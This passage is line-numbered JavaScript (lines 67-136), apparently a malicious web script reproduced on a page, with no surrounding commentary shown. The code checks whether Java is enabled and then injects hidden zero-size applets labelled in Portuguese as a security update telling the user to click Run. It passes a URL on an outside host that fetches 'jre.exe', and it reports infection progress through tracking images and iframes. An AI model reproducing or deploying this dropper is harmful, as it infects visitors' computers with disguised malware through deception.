<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  67:</span>         oReq.send();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  68:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  69:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  70:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  71:</span> <span style="color: #0000ff">function</span> JSM_labReport2(url) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  72:</span>     <span style="color: #0000ff">var</span> hhBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  73:</span>     <span style="color: #0000ff">if</span> (hhBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  74:</span>         hhBody.insertBefore(JSM_createIframe(url), hhBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  75:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  76:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  77:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  78:</span> <span style="color: #0000ff">function</span> JSM_createImg(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  79:</span>     <span style="color: #0000ff">var</span> img = document.createElement(<span style="color: #006080">'img'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  80:</span>     img.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  81:</span>     <span style="color: #0000ff">return</span> img;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  82:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  83:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  84:</span> <span style="color: #0000ff">function</span> JSM_createSpan(html) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  85:</span>     <span style="color: #0000ff">var</span> span = document.createElement(<span style="color: #006080">'span'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  86:</span>     span.innerHTML = html;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  87:</span>     <span style="color: #0000ff">return</span> span;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  88:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  89:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  90:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  91:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + JSM_getAppletURL() + <span style="color: #006080">'?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  92:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  93:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  94:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml_X() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  95:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + jsm_applet_url + <span style="color: #006080">'javab.jar?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  96:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  97:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  98:</span> <span style="color: #0000ff">function</span> JSM_onLoad() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  99:</span>     <span style="color: #008000">//report load success</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 100:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_loaded);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 101:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_loaded);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 102:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_loaded);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 103:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 104:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 105:</span> <span style="color: #0000ff">function</span> JSM_onLoadJavaX() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 106:</span>     JSM_createImg(<span style="color: #006080">'http://c.statcounter.com/7455623/0/bd77ea2d/1/'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 107:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 108:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 109:</span> <span style="color: #0000ff">function</span> JSM_onLoadFail() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 110:</span>     <span style="color: #008000">//report load fail</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 111:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_loadfail);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 112:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_loadfail);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 113:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_loadfail);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 114:</span>     <span style="color: #0000ff">if</span> (jsm_applet_index &lt; jsm_applet_count) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 115:</span>         jsm_applet_index++;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 116:</span>         <span style="color: #0000ff">var</span> hBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 117:</span>         <span style="color: #0000ff">if</span> (hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 118:</span>             <span style="color: #0000ff">var</span> html = JSM_getAppletHtml();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 119:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 120:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 121:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 122:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 123:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 124:</span> <span style="color: #0000ff">function</span> JSM_onInit(hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 125:</span>     <span style="color: #008000">//report access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 126:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_access);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 127:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_access);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 128:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_access);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 129:</span>     <span style="color: #0000ff">if</span> (hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 130:</span>         <span style="color: #0000ff">var</span> html = <span style="color: #006080">''</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 131:</span>         <span style="color: #0000ff">if</span> (navigator.javaEnabled()) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 132:</span>             <span style="color: #008000">//java on</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 133:</span>             html = JSM_getAppletHtml() + <span style="color: #006080">' '</span> + JSM_getAppletHtml_X();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 134:</span>             <span style="color: #008000">//report java enabled access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 135:</span>             <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_javaon);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 136:</span>             <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_javaon);</span></pre></p>
